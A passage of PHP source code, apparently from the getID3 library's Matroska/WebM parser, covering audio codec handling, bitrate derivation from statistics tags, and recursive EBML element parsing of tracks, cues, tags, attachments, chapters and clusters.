						$track_info['channels']    = (isset($trackarray['Channels']) ? $trackarray['Channels'] : 1);
						$track_info['language']    = (isset($trackarray['Language']) ? $trackarray['Language'] : 'eng');
						if (isset($trackarray['BitDepth']))  { $track_info['bits_per_sample'] = $trackarray['BitDepth']; }
						if (isset($trackarray['CodecName'])) { $track_info['codec']           = $trackarray['CodecName']; }

						switch ($trackarray['CodecID']) {
							case 'A_PCM/INT/LIT':
							case 'A_PCM/INT/BIG':
								$track_info['bitrate'] = $track_info['sample_rate'] * $track_info['channels'] * $trackarray['BitDepth'];
								break;

							case 'A_AC3':
							case 'A_EAC3':
							case 'A_DTS':
							case 'A_MPEG/L3':
							case 'A_MPEG/L2':
							case 'A_FLAC':
								$module_dataformat = ($track_info['dataformat'] == 'mp2' ? 'mp3' : ($track_info['dataformat'] == 'eac3' ? 'ac3' : $track_info['dataformat']));
								getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.'.$module_dataformat.'.php', __FILE__, true);

								if (!isset($info['matroska']['track_data_offsets'][$trackarray['TrackNumber']])) {
									$this->warning('Unable to parse audio data ['.basename(__FILE__).':'.__LINE__.'] because $info[matroska][track_data_offsets]['.$trackarray['TrackNumber'].'] not set');
									break;
								}

								// create temp instance
								$getid3_temp = new getID3();
								if ($track_info['dataformat'] != 'flac') {
									$getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp);
								}
								$getid3_temp->info['avdataoffset'] = $info['matroska']['track_data_offsets'][$trackarray['TrackNumber']]['offset'];
								if ($track_info['dataformat'][0] == 'm' || $track_info['dataformat'] == 'flac') {
									$getid3_temp->info['avdataend'] = $info['matroska']['track_data_offsets'][$trackarray['TrackNumber']]['offset'] + $info['matroska']['track_data_offsets'][$trackarray['TrackNumber']]['length'];
								}

								// analyze
								$class = 'getid3_'.$module_dataformat;
								$header_data_key = $track_info['dataformat'][0] == 'm' ? 'mpeg' : $track_info['dataformat'];
								$getid3_audio = new $class($getid3_temp, __CLASS__);
								if ($track_info['dataformat'] == 'flac') {
									$getid3_audio->AnalyzeString($trackarray['CodecPrivate']);
								}
								else {
									$getid3_audio->Analyze();
								}
								if (!empty($getid3_temp->info[$header_data_key])) {
									$info['matroska']['track_codec_parsed'][$trackarray['TrackNumber']] = $getid3_temp->info[$header_data_key];
									if (isset($getid3_temp->info['audio']) && is_array($getid3_temp->info['audio'])) {
										foreach ($getid3_temp->info['audio'] as $sub_key => $value) {
											$track_info[$sub_key] = $value;
										}
									}
								}
								else {
									$this->warning('Unable to parse audio data ['.basename(__FILE__).':'.__LINE__.'] because '.$class.'::Analyze() failed at offset '.$getid3_temp->info['avdataoffset']);
								}

								// copy errors and warnings
								if (!empty($getid3_temp->info['error'])) {
									foreach ($getid3_temp->info['error'] as $newerror) {
										$this->warning($class.'() says: ['.$newerror.']');
									}
								}
								if (!empty($getid3_temp->info['warning'])) {
									foreach ($getid3_temp->info['warning'] as $newerror) {
										$this->warning($class.'() says: ['.$newerror.']');
									}
								}
								unset($getid3_temp, $getid3_audio);
								break;

							case 'A_AAC':
							case 'A_AAC/MPEG2/LC':
							case 'A_AAC/MPEG2/LC/SBR':
							case 'A_AAC/MPEG4/LC':
							case 'A_AAC/MPEG4/LC/SBR':
								$this->warning($trackarray['CodecID'].' audio data contains no header, audio/video bitrates can\'t be calculated');
								break;

							case 'A_VORBIS':
								if (!isset($trackarray['CodecPrivate'])) {
									$this->warning('Unable to parse audio data ['.basename(__FILE__).':'.__LINE__.'] because CodecPrivate data not set');
									break;
								}
								$vorbis_offset = strpos($trackarray['CodecPrivate'], 'vorbis', 1);
								if ($vorbis_offset === false) {
									$this->warning('Unable to parse audio data ['.basename(__FILE__).':'.__LINE__.'] because CodecPrivate data does not contain "vorbis" keyword');
									break;
								}
								$vorbis_offset -= 1;

								getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.ogg.php', __FILE__, true);

								// create temp instance
								$getid3_temp = new getID3();

								// analyze
								$getid3_ogg = new getid3_ogg($getid3_temp);
								$oggpageinfo['page_seqno'] = 0;
								$getid3_ogg->ParseVorbisPageHeader($trackarray['CodecPrivate'], $vorbis_offset, $oggpageinfo);
								if (!empty($getid3_temp->info['ogg'])) {
									$info['matroska']['track_codec_parsed'][$trackarray['TrackNumber']] = $getid3_temp->info['ogg'];
									if (isset($getid3_temp->info['audio']) && is_array($getid3_temp->info['audio'])) {
										foreach ($getid3_temp->info['audio'] as $sub_key => $value) {
											$track_info[$sub_key] = $value;
										}
									}
								}

								// copy errors and warnings
								if (!empty($getid3_temp->info['error'])) {
									foreach ($getid3_temp->info['error'] as $newerror) {
										$this->warning('getid3_ogg() says: ['.$newerror.']');
									}
								}
								if (!empty($getid3_temp->info['warning'])) {
									foreach ($getid3_temp->info['warning'] as $newerror) {
										$this->warning('getid3_ogg() says: ['.$newerror.']');
									}
								}

								if (!empty($getid3_temp->info['ogg']['bitrate_nominal'])) {
									$track_info['bitrate'] = $getid3_temp->info['ogg']['bitrate_nominal'];
								}
								unset($getid3_temp, $getid3_ogg, $oggpageinfo, $vorbis_offset);
								break;

							case 'A_MS/ACM':
								getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio-video.riff.php', __FILE__, true);

								$parsed = getid3_riff::parseWAVEFORMATex($trackarray['CodecPrivate']);
								foreach ($parsed as $sub_key => $value) {
									if ($sub_key != 'raw') {
										$track_info[$sub_key] = $value;
									}
								}
								$info['matroska']['track_codec_parsed'][$trackarray['TrackNumber']] = $parsed;
								break;

							default:
								$this->warning('Unhandled audio type "'.(isset($trackarray['CodecID']) ? $trackarray['CodecID'] : '').'"');
								break;
						}

						$info['audio']['streams'][$trackarray['TrackUID']] = $track_info;
						break;
				}
			}

			if (!empty($info['video']['streams'])) {
				$info['video'] = self::getDefaultStreamInfo($info['video']['streams']);
			}
			if (!empty($info['audio']['streams'])) {
				$info['audio'] = self::getDefaultStreamInfo($info['audio']['streams']);
			}
		}

		// process attachments
		if (isset($info['matroska']['attachments']) && $this->getid3->option_save_attachments !== getID3::ATTACHMENTS_NONE) {
			foreach ($info['matroska']['attachments'] as $i => $entry) {
				if (strpos($entry['FileMimeType'], 'image/') === 0 && !empty($entry['FileData'])) {
					$info['matroska']['comments']['picture'][] = array('data' => $entry['FileData'], 'image_mime' => $entry['FileMimeType'], 'filename' => $entry['FileName']);
				}
			}
		}

		// determine mime type
		if (!empty($info['video']['streams'])) {
			$info['mime_type'] = ($info['matroska']['doctype'] == 'webm' ? 'video/webm' : 'video/x-matroska');
		} elseif (!empty($info['audio']['streams'])) {
			$info['mime_type'] = ($info['matroska']['doctype'] == 'webm' ? 'audio/webm' : 'audio/x-matroska');
		} elseif (isset($info['mime_type'])) {
			unset($info['mime_type']);
		}

		// use _STATISTICS_TAGS if available to set audio/video bitrates
		if (!empty($info['matroska']['tags'])) {
			$_STATISTICS_byTrackUID = array();
			foreach ($info['matroska']['tags'] as $key1 => $value1) {
				if (!empty($value1['Targets']['TagTrackUID'][0]) && !empty($value1['SimpleTag'])) {
					foreach ($value1['SimpleTag'] as $key2 => $value2) {
						if (!empty($value2['TagName']) && isset($value2['TagString'])) {
							$_STATISTICS_byTrackUID[$value1['Targets']['TagTrackUID'][0]][$value2['TagName']] = $value2['TagString'];
						}
					}
				}
			}
			foreach (array('audio','video') as $avtype) {
				if (!empty($info[$avtype]['streams'])) {
					foreach ($info[$avtype]['streams'] as $trackUID => $trackdata) {
						if (!isset($trackdata['bitrate']) && !empty($_STATISTICS_byTrackUID[$trackUID]['BPS'])) {
							$info[$avtype]['streams'][$trackUID]['bitrate'] = (int) $_STATISTICS_byTrackUID[$trackUID]['BPS'];
							@$info[$avtype]['bitrate'] += $info[$avtype]['streams'][$trackUID]['bitrate'];
						}
					}
				}
			}
		}

		return true;
	}

	/**
	 * @param array $info
	 */
	private function parseEBML(&$info) {
		// http://www.matroska.org/technical/specs/index.html#EBMLBasics
		$this->current_offset = $info['avdataoffset'];

		while ($this->getEBMLelement($top_element, $info['avdataend'])) {
			switch ($top_element['id']) {

				case EBML_ID_EBML:
					$info['matroska']['header']['offset'] = $top_element['offset'];
					$info['matroska']['header']['length'] = $top_element['length'];

					while ($this->getEBMLelement($element_data, $top_element['end'], true)) {
						switch ($element_data['id']) {

							case EBML_ID_EBMLVERSION:
							case EBML_ID_EBMLREADVERSION:
							case EBML_ID_EBMLMAXIDLENGTH:
							case EBML_ID_EBMLMAXSIZELENGTH:
							case EBML_ID_DOCTYPEVERSION:
							case EBML_ID_DOCTYPEREADVERSION:
								$element_data['data'] = getid3_lib::BigEndian2Int($element_data['data']);
								break;

							case EBML_ID_DOCTYPE:
								$element_data['data'] = getid3_lib::trimNullByte($element_data['data']);
								$info['matroska']['doctype'] = $element_data['data'];
								$info['fileformat'] = $element_data['data'];
								break;

							default:
								$this->unhandledElement('header', __LINE__, $element_data);
								break;
						}

						unset($element_data['offset'], $element_data['end']);
						$info['matroska']['header']['elements'][] = $element_data;
					}
					break;

				case EBML_ID_SEGMENT:
					$info['matroska']['segment'][0]['offset'] = $top_element['offset'];
					$info['matroska']['segment'][0]['length'] = $top_element['length'];

					while ($this->getEBMLelement($element_data, $top_element['end'])) {
						if ($element_data['id'] != EBML_ID_CLUSTER || !$this->hide_clusters) { // collect clusters only if required
							$info['matroska']['segments'][] = $element_data;
						}
						switch ($element_data['id']) {

							case EBML_ID_SEEKHEAD: // Contains the position of other level 1 elements.

								while ($this->getEBMLelement($seek_entry, $element_data['end'])) {
									switch ($seek_entry['id']) {

										case EBML_ID_SEEK: // Contains a single seek entry to an EBML element
											while ($this->getEBMLelement($sub_seek_entry, $seek_entry['end'], true)) {

												switch ($sub_seek_entry['id']) {

													case EBML_ID_SEEKID:
														$seek_entry['target_id']   = self::EBML2Int($sub_seek_entry['data']);
														$seek_entry['target_name'] = self::EBMLidName($seek_entry['target_id']);
														break;

													case EBML_ID_SEEKPOSITION:
														$seek_entry['target_offset'] = $element_data['offset'] + getid3_lib::BigEndian2Int($sub_seek_entry['data']);
														break;

													default:
														$this->unhandledElement('seekhead.seek', __LINE__, $sub_seek_entry);												}
														break;
											}
											if (!isset($seek_entry['target_id'])) {
												$this->warning('seek_entry[target_id] unexpectedly not set at '.$seek_entry['offset']);
												break;
											}
											if (($seek_entry['target_id'] != EBML_ID_CLUSTER) || !$this->hide_clusters) { // collect clusters only if required
												$info['matroska']['seek'][] = $seek_entry;
											}
											break;

										default:
											$this->unhandledElement('seekhead', __LINE__, $seek_entry);
											break;
									}
								}
								break;

							case EBML_ID_TRACKS: // A top-level block of information with many tracks described.
								$info['matroska']['tracks'] = $element_data;

								while ($this->getEBMLelement($track_entry, $element_data['end'])) {
									switch ($track_entry['id']) {

										case EBML_ID_TRACKENTRY: //subelements: Describes a track with all elements.

											while ($this->getEBMLelement($subelement, $track_entry['end'], array(EBML_ID_VIDEO, EBML_ID_AUDIO, EBML_ID_CONTENTENCODINGS, EBML_ID_CODECPRIVATE))) {
												switch ($subelement['id']) {

													case EBML_ID_TRACKUID:
														$track_entry[$subelement['id_name']] = getid3_lib::PrintHexBytes($subelement['data'], true, false);
														break;
													case EBML_ID_TRACKNUMBER:
													case EBML_ID_TRACKTYPE:
													case EBML_ID_MINCACHE:
													case EBML_ID_MAXCACHE:
													case EBML_ID_MAXBLOCKADDITIONID:
													case EBML_ID_DEFAULTDURATION: // nanoseconds per frame
														$track_entry[$subelement['id_name']] = getid3_lib::BigEndian2Int($subelement['data']);
														break;

													case EBML_ID_TRACKTIMECODESCALE:
														$track_entry[$subelement['id_name']] = getid3_lib::BigEndian2Float($subelement['data']);
														break;

													case EBML_ID_CODECID:
													case EBML_ID_LANGUAGE:
													case EBML_ID_NAME:
													case EBML_ID_CODECNAME:
														$track_entry[$subelement['id_name']] = getid3_lib::trimNullByte($subelement['data']);
														break;

													case EBML_ID_CODECPRIVATE:
														$track_entry[$subelement['id_name']] = $this->readEBMLelementData($subelement['length'], true);
														break;

													case EBML_ID_FLAGENABLED:
													case EBML_ID_FLAGDEFAULT:
													case EBML_ID_FLAGFORCED:
													case EBML_ID_FLAGLACING:
													case EBML_ID_CODECDECODEALL:
														$track_entry[$subelement['id_name']] = (bool) getid3_lib::BigEndian2Int($subelement['data']);
														break;

													case EBML_ID_VIDEO:

														while ($this->getEBMLelement($sub_subelement, $subelement['end'], true)) {
															switch ($sub_subelement['id']) {

																case EBML_ID_PIXELWIDTH:
																case EBML_ID_PIXELHEIGHT:
																case EBML_ID_PIXELCROPBOTTOM:
																case EBML_ID_PIXELCROPTOP:
																case EBML_ID_PIXELCROPLEFT:
																case EBML_ID_PIXELCROPRIGHT:
																case EBML_ID_DISPLAYWIDTH:
																case EBML_ID_DISPLAYHEIGHT:
																case EBML_ID_DISPLAYUNIT:
																case EBML_ID_ASPECTRATIOTYPE:
																case EBML_ID_STEREOMODE:
																case EBML_ID_OLDSTEREOMODE:
																	$track_entry[$sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_subelement['data']);
																	break;

																case EBML_ID_FLAGINTERLACED:
																	$track_entry[$sub_subelement['id_name']] = (bool)getid3_lib::BigEndian2Int($sub_subelement['data']);
																	break;

																case EBML_ID_GAMMAVALUE:
																	$track_entry[$sub_subelement['id_name']] = getid3_lib::BigEndian2Float($sub_subelement['data']);
																	break;

																case EBML_ID_COLOURSPACE:
																	$track_entry[$sub_subelement['id_name']] = getid3_lib::trimNullByte($sub_subelement['data']);
																	break;

																default:
																	$this->unhandledElement('track.video', __LINE__, $sub_subelement);
																	break;
															}
														}
														break;

													case EBML_ID_AUDIO:

														while ($this->getEBMLelement($sub_subelement, $subelement['end'], true)) {
															switch ($sub_subelement['id']) {

																case EBML_ID_CHANNELS:
																case EBML_ID_BITDEPTH:
																	$track_entry[$sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_subelement['data']);
																	break;

																case EBML_ID_SAMPLINGFREQUENCY:
																case EBML_ID_OUTPUTSAMPLINGFREQUENCY:
																	$track_entry[$sub_subelement['id_name']] = getid3_lib::BigEndian2Float($sub_subelement['data']);
																	break;

																case EBML_ID_CHANNELPOSITIONS:
																	$track_entry[$sub_subelement['id_name']] = getid3_lib::trimNullByte($sub_subelement['data']);
																	break;

																default:
																	$this->unhandledElement('track.audio', __LINE__, $sub_subelement);
																	break;
															}
														}
														break;

													case EBML_ID_CONTENTENCODINGS:

														while ($this->getEBMLelement($sub_subelement, $subelement['end'])) {
															switch ($sub_subelement['id']) {

																case EBML_ID_CONTENTENCODING:

																	while ($this->getEBMLelement($sub_sub_subelement, $sub_subelement['end'], array(EBML_ID_CONTENTCOMPRESSION, EBML_ID_CONTENTENCRYPTION))) {
																		switch ($sub_sub_subelement['id']) {

																			case EBML_ID_CONTENTENCODINGORDER:
																			case EBML_ID_CONTENTENCODINGSCOPE:
																			case EBML_ID_CONTENTENCODINGTYPE:
																				$track_entry[$sub_subelement['id_name']][$sub_sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_sub_subelement['data']);
																				break;

																			case EBML_ID_CONTENTCOMPRESSION:

																				while ($this->getEBMLelement($sub_sub_sub_subelement, $sub_sub_subelement['end'], true)) {
																					switch ($sub_sub_sub_subelement['id']) {

																						case EBML_ID_CONTENTCOMPALGO:
																							$track_entry[$sub_subelement['id_name']][$sub_sub_subelement['id_name']][$sub_sub_sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_sub_sub_subelement['data']);
																							break;

																						case EBML_ID_CONTENTCOMPSETTINGS:
																							$track_entry[$sub_subelement['id_name']][$sub_sub_subelement['id_name']][$sub_sub_sub_subelement['id_name']] = $sub_sub_sub_subelement['data'];
																							break;

																						default:
																							$this->unhandledElement('track.contentencodings.contentencoding.contentcompression', __LINE__, $sub_sub_sub_subelement);
																							break;
																					}
																				}
																				break;

																			case EBML_ID_CONTENTENCRYPTION:

																				while ($this->getEBMLelement($sub_sub_sub_subelement, $sub_sub_subelement['end'], true)) {
																					switch ($sub_sub_sub_subelement['id']) {

																						case EBML_ID_CONTENTENCALGO:
																						case EBML_ID_CONTENTSIGALGO:
																						case EBML_ID_CONTENTSIGHASHALGO:
																							$track_entry[$sub_subelement['id_name']][$sub_sub_subelement['id_name']][$sub_sub_sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_sub_sub_subelement['data']);
																							break;

																						case EBML_ID_CONTENTENCKEYID:
																						case EBML_ID_CONTENTSIGNATURE:
																						case EBML_ID_CONTENTSIGKEYID:
																							$track_entry[$sub_subelement['id_name']][$sub_sub_subelement['id_name']][$sub_sub_sub_subelement['id_name']] = $sub_sub_sub_subelement['data'];
																							break;

																						default:
																							$this->unhandledElement('track.contentencodings.contentencoding.contentcompression', __LINE__, $sub_sub_sub_subelement);
																							break;
																					}
																				}
																				break;

																			default:
																				$this->unhandledElement('track.contentencodings.contentencoding', __LINE__, $sub_sub_subelement);
																				break;
																		}
																	}
																	break;

																default:
																	$this->unhandledElement('track.contentencodings', __LINE__, $sub_subelement);
																	break;
															}
														}
														break;

													default:
														$this->unhandledElement('track', __LINE__, $subelement);
														break;
												}
											}

											$info['matroska']['tracks']['tracks'][] = $track_entry;
											break;

										default:
											$this->unhandledElement('tracks', __LINE__, $track_entry);
											break;
									}
								}
								break;

							case EBML_ID_INFO: // Contains miscellaneous general information and statistics on the file.
								$info_entry = array();

								while ($this->getEBMLelement($subelement, $element_data['end'], true)) {
									switch ($subelement['id']) {

										case EBML_ID_TIMECODESCALE:
											$info_entry[$subelement['id_name']] = getid3_lib::BigEndian2Int($subelement['data']);
											break;

										case EBML_ID_DURATION:
											$info_entry[$subelement['id_name']] = getid3_lib::BigEndian2Float($subelement['data']);
											break;

										case EBML_ID_DATEUTC:
											$info_entry[$subelement['id_name']]         = getid3_lib::BigEndian2Int($subelement['data']);
											$info_entry[$subelement['id_name'].'_unix'] = self::EBMLdate2unix($info_entry[$subelement['id_name']]);
											break;

										case EBML_ID_SEGMENTUID:
										case EBML_ID_PREVUID:
										case EBML_ID_NEXTUID:
											$info_entry[$subelement['id_name']] = getid3_lib::trimNullByte($subelement['data']);
											break;

										case EBML_ID_SEGMENTFAMILY:
											$info_entry[$subelement['id_name']][] = getid3_lib::trimNullByte($subelement['data']);
											break;

										case EBML_ID_SEGMENTFILENAME:
										case EBML_ID_PREVFILENAME:
										case EBML_ID_NEXTFILENAME:
										case EBML_ID_TITLE:
										case EBML_ID_MUXINGAPP:
										case EBML_ID_WRITINGAPP:
											$info_entry[$subelement['id_name']] = getid3_lib::trimNullByte($subelement['data']);
											$info['matroska']['comments'][strtolower($subelement['id_name'])][] = $info_entry[$subelement['id_name']];
											break;

										case EBML_ID_CHAPTERTRANSLATE:
											$chaptertranslate_entry = array();

											while ($this->getEBMLelement($sub_subelement, $subelement['end'], true)) {
												switch ($sub_subelement['id']) {

													case EBML_ID_CHAPTERTRANSLATEEDITIONUID:
														$chaptertranslate_entry[$sub_subelement['id_name']][] = getid3_lib::BigEndian2Int($sub_subelement['data']);
														break;

													case EBML_ID_CHAPTERTRANSLATECODEC:
														$chaptertranslate_entry[$sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_subelement['data']);
														break;

													case EBML_ID_CHAPTERTRANSLATEID:
														$chaptertranslate_entry[$sub_subelement['id_name']] = getid3_lib::trimNullByte($sub_subelement['data']);
														break;

													default:
														$this->unhandledElement('info.chaptertranslate', __LINE__, $sub_subelement);
														break;
												}
											}
											$info_entry[$subelement['id_name']] = $chaptertranslate_entry;
											break;

										default:
											$this->unhandledElement('info', __LINE__, $subelement);
											break;
									}
								}
								$info['matroska']['info'][] = $info_entry;
								break;

							case EBML_ID_CUES: // A top-level element to speed seeking access. All entries are local to the segment. Should be mandatory for non "live" streams.
								if ($this->hide_clusters) { // do not parse cues if hide clusters is "ON" till they point to clusters anyway
									$this->current_offset = $element_data['end'];
									break;
								}
								$cues_entry = array();

								while ($this->getEBMLelement($subelement, $element_data['end'])) {
									switch ($subelement['id']) {

										case EBML_ID_CUEPOINT:
											$cuepoint_entry = array();

											while ($this->getEBMLelement($sub_subelement, $subelement['end'], array(EBML_ID_CUETRACKPOSITIONS))) {
												switch ($sub_subelement['id']) {

													case EBML_ID_CUETRACKPOSITIONS:
														$cuetrackpositions_entry = array();

														while ($this->getEBMLelement($sub_sub_subelement, $sub_subelement['end'], true)) {
															switch ($sub_sub_subelement['id']) {

																case EBML_ID_CUETRACK:
																case EBML_ID_CUECLUSTERPOSITION:
																case EBML_ID_CUEBLOCKNUMBER:
																case EBML_ID_CUECODECSTATE:
																	$cuetrackpositions_entry[$sub_sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_sub_subelement['data']);
																	break;

																default:
																	$this->unhandledElement('cues.cuepoint.cuetrackpositions', __LINE__, $sub_sub_subelement);
																	break;
															}
														}
														$cuepoint_entry[$sub_subelement['id_name']][] = $cuetrackpositions_entry;
														break;

													case EBML_ID_CUETIME:
														$cuepoint_entry[$sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_subelement['data']);
														break;

													default:
														$this->unhandledElement('cues.cuepoint', __LINE__, $sub_subelement);
														break;
												}
											}
											$cues_entry[] = $cuepoint_entry;
											break;

										default:
											$this->unhandledElement('cues', __LINE__, $subelement);
											break;
									}
								}
								$info['matroska']['cues'] = $cues_entry;
								break;

							case EBML_ID_TAGS: // Element containing elements specific to Tracks/Chapters.
								$tags_entry = array();

								while ($this->getEBMLelement($subelement, $element_data['end'], false)) {
									switch ($subelement['id']) {

										case EBML_ID_TAG:
											$tag_entry = array();

											while ($this->getEBMLelement($sub_subelement, $subelement['end'], false)) {
												switch ($sub_subelement['id']) {

													case EBML_ID_TARGETS:
														$targets_entry = array();

														while ($this->getEBMLelement($sub_sub_subelement, $sub_subelement['end'], true)) {
															switch ($sub_sub_subelement['id']) {

																case EBML_ID_TARGETTYPEVALUE:
																	$targets_entry[$sub_sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_sub_subelement['data']);
																	$targets_entry[strtolower($sub_sub_subelement['id_name']).'_long'] = self::TargetTypeValue($targets_entry[$sub_sub_subelement['id_name']]);
																	break;

																case EBML_ID_TARGETTYPE:
																	$targets_entry[$sub_sub_subelement['id_name']] = $sub_sub_subelement['data'];
																	break;

																case EBML_ID_TAGTRACKUID:
																case EBML_ID_TAGEDITIONUID:
																case EBML_ID_TAGCHAPTERUID:
																case EBML_ID_TAGATTACHMENTUID:
																	$targets_entry[$sub_sub_subelement['id_name']][] = getid3_lib::PrintHexBytes($sub_sub_subelement['data'], true, false);
																	break;

																default:
																	$this->unhandledElement('tags.tag.targets', __LINE__, $sub_sub_subelement);
																	break;
															}
														}
														$tag_entry[$sub_subelement['id_name']] = $targets_entry;
														break;

													case EBML_ID_SIMPLETAG:
														$tag_entry[$sub_subelement['id_name']][] = $this->HandleEMBLSimpleTag($sub_subelement['end']);
														break;

													default:
														$this->unhandledElement('tags.tag', __LINE__, $sub_subelement);
														break;
												}
											}
											$tags_entry[] = $tag_entry;
											break;

										default:
											$this->unhandledElement('tags', __LINE__, $subelement);
											break;
									}
								}
								$info['matroska']['tags'] = $tags_entry;
								break;

							case EBML_ID_ATTACHMENTS: // Contain attached files.

								while ($this->getEBMLelement($subelement, $element_data['end'])) {
									switch ($subelement['id']) {

										case EBML_ID_ATTACHEDFILE:
											$attachedfile_entry = array();

											while ($this->getEBMLelement($sub_subelement, $subelement['end'], array(EBML_ID_FILEDATA))) {
												switch ($sub_subelement['id']) {

													case EBML_ID_FILEDESCRIPTION:
													case EBML_ID_FILENAME:
													case EBML_ID_FILEMIMETYPE:
														$attachedfile_entry[$sub_subelement['id_name']] = $sub_subelement['data'];
														break;

													case EBML_ID_FILEDATA:
														$attachedfile_entry['data_offset'] = $this->current_offset;
														$attachedfile_entry['data_length'] = $sub_subelement['length'];

														$attachedfile_entry[$sub_subelement['id_name']] = $this->saveAttachment(
															$attachedfile_entry['FileName'],
															$attachedfile_entry['data_offset'],
															$attachedfile_entry['data_length']);

														$this->current_offset = $sub_subelement['end'];
														break;

													case EBML_ID_FILEUID:
														$attachedfile_entry[$sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_subelement['data']);
														break;

													default:
														$this->unhandledElement('attachments.attachedfile', __LINE__, $sub_subelement);
														break;
												}
											}
											$info['matroska']['attachments'][] = $attachedfile_entry;
											break;

										default:
											$this->unhandledElement('attachments', __LINE__, $subelement);
											break;
									}
								}
								break;

							case EBML_ID_CHAPTERS:

								while ($this->getEBMLelement($subelement, $element_data['end'])) {
									switch ($subelement['id']) {

										case EBML_ID_EDITIONENTRY:
											$editionentry_entry = array();

											while ($this->getEBMLelement($sub_subelement, $subelement['end'], array(EBML_ID_CHAPTERATOM))) {
												switch ($sub_subelement['id']) {

													case EBML_ID_EDITIONUID:
														$editionentry_entry[$sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_subelement['data']);
														break;

													case EBML_ID_EDITIONFLAGHIDDEN:
													case EBML_ID_EDITIONFLAGDEFAULT:
													case EBML_ID_EDITIONFLAGORDERED:
														$editionentry_entry[$sub_subelement['id_name']] = (bool)getid3_lib::BigEndian2Int($sub_subelement['data']);
														break;

													case EBML_ID_CHAPTERATOM:
														$chapteratom_entry = array();

														while ($this->getEBMLelement($sub_sub_subelement, $sub_subelement['end'], array(EBML_ID_CHAPTERTRACK, EBML_ID_CHAPTERDISPLAY))) {
															switch ($sub_sub_subelement['id']) {

																case EBML_ID_CHAPTERSEGMENTUID:
																case EBML_ID_CHAPTERSEGMENTEDITIONUID:
																	$chapteratom_entry[$sub_sub_subelement['id_name']] = $sub_sub_subelement['data'];
																	break;

																case EBML_ID_CHAPTERFLAGENABLED:
																case EBML_ID_CHAPTERFLAGHIDDEN:
																	$chapteratom_entry[$sub_sub_subelement['id_name']] = (bool)getid3_lib::BigEndian2Int($sub_sub_subelement['data']);
																	break;

																case EBML_ID_CHAPTERUID:
																case EBML_ID_CHAPTERTIMESTART:
																case EBML_ID_CHAPTERTIMEEND:
																	$chapteratom_entry[$sub_sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_sub_subelement['data']);
																	break;

																case EBML_ID_CHAPTERTRACK:
																	$chaptertrack_entry = array();

																	while ($this->getEBMLelement($sub_sub_sub_subelement, $sub_sub_subelement['end'], true)) {
																		switch ($sub_sub_sub_subelement['id']) {

																			case EBML_ID_CHAPTERTRACKNUMBER:
																				$chaptertrack_entry[$sub_sub_sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_sub_sub_subelement['data']);
																				break;

																			default:
																				$this->unhandledElement('chapters.editionentry.chapteratom.chaptertrack', __LINE__, $sub_sub_sub_subelement);
																				break;
																		}
																	}
																	$chapteratom_entry[$sub_sub_subelement['id_name']][] = $chaptertrack_entry;
																	break;

																case EBML_ID_CHAPTERDISPLAY:
																	$chapterdisplay_entry = array();

																	while ($this->getEBMLelement($sub_sub_sub_subelement, $sub_sub_subelement['end'], true)) {
																		switch ($sub_sub_sub_subelement['id']) {

																			case EBML_ID_CHAPSTRING:
																			case EBML_ID_CHAPLANGUAGE:
																			case EBML_ID_CHAPCOUNTRY:
																				$chapterdisplay_entry[$sub_sub_sub_subelement['id_name']] = $sub_sub_sub_subelement['data'];
																				break;

																			default:
																				$this->unhandledElement('chapters.editionentry.chapteratom.chapterdisplay', __LINE__, $sub_sub_sub_subelement);
																				break;
																		}
																	}
																	$chapteratom_entry[$sub_sub_subelement['id_name']][] = $chapterdisplay_entry;
																	break;

																default:
																	$this->unhandledElement('chapters.editionentry.chapteratom', __LINE__, $sub_sub_subelement);
																	break;
															}
														}
														$editionentry_entry[$sub_subelement['id_name']][] = $chapteratom_entry;
														break;

													default:
														$this->unhandledElement('chapters.editionentry', __LINE__, $sub_subelement);
														break;
												}
											}
											$info['matroska']['chapters'][] = $editionentry_entry;
											break;

										default:
											$this->unhandledElement('chapters', __LINE__, $subelement);
											break;
									}
								}
								break;

							case EBML_ID_CLUSTER: // The lower level element containing the (monolithic) Block structure.
								$cluster_entry = array();

								while ($this->getEBMLelement($subelement, $element_data['end'], array(EBML_ID_CLUSTERSILENTTRACKS, EBML_ID_CLUSTERBLOCKGROUP, EBML_ID_CLUSTERSIMPLEBLOCK))) {
									switch ($subelement['id']) {

										case EBML_ID_CLUSTERTIMECODE:
										case EBML_ID_CLUSTERPOSITION:
										case EBML_ID_CLUSTERPREVSIZE:
											$cluster_entry[$subelement['id_name']] = getid3_lib::BigEndian2Int($subelement['data']);
											break;

										case EBML_ID_CLUSTERSILENTTRACKS:
											$cluster_silent_tracks = array();

											while ($this->getEBMLelement($sub_subelement, $subelement['end'], true)) {
												switch ($sub_subelement['id']) {

													case EBML_ID_CLUSTERSILENTTRACKNUMBER:
														$cluster_silent_tracks[] = getid3_lib::BigEndian2Int($sub_subelement['data']);
														break;

													default:
														$this->unhandledElement('cluster.silenttracks', __LINE__, $sub_subelement);
														break;
												}
											}
											$cluster_entry[$subelement['id_name']][] = $cluster_silent_tracks;
											break;

										case EBML_ID_CLUSTERBLOCKGROUP:
											$cluster_block_group = array('offset' => $this->current_offset);

											while ($this->getEBMLelement($sub_subelement, $subelement['end'], array(EBML_ID_CLUSTERBLOCK))) {
												switch ($sub_subelement['id']) {

													case EBML_ID_CLUSTERBLOCK:
														$cluster_block_group[$sub_subelement['id_name']] = $this->HandleEMBLClusterBlock($sub_subelement, EBML_ID_CLUSTERBLOCK, $info);
														break;

													case EBML_ID_CLUSTERREFERENCEPRIORITY: // unsigned-int
													case EBML_ID_CLUSTERBLOCKDURATION:     // unsigned-int
														$cluster_block_group[$sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_subelement['data']);
														break;

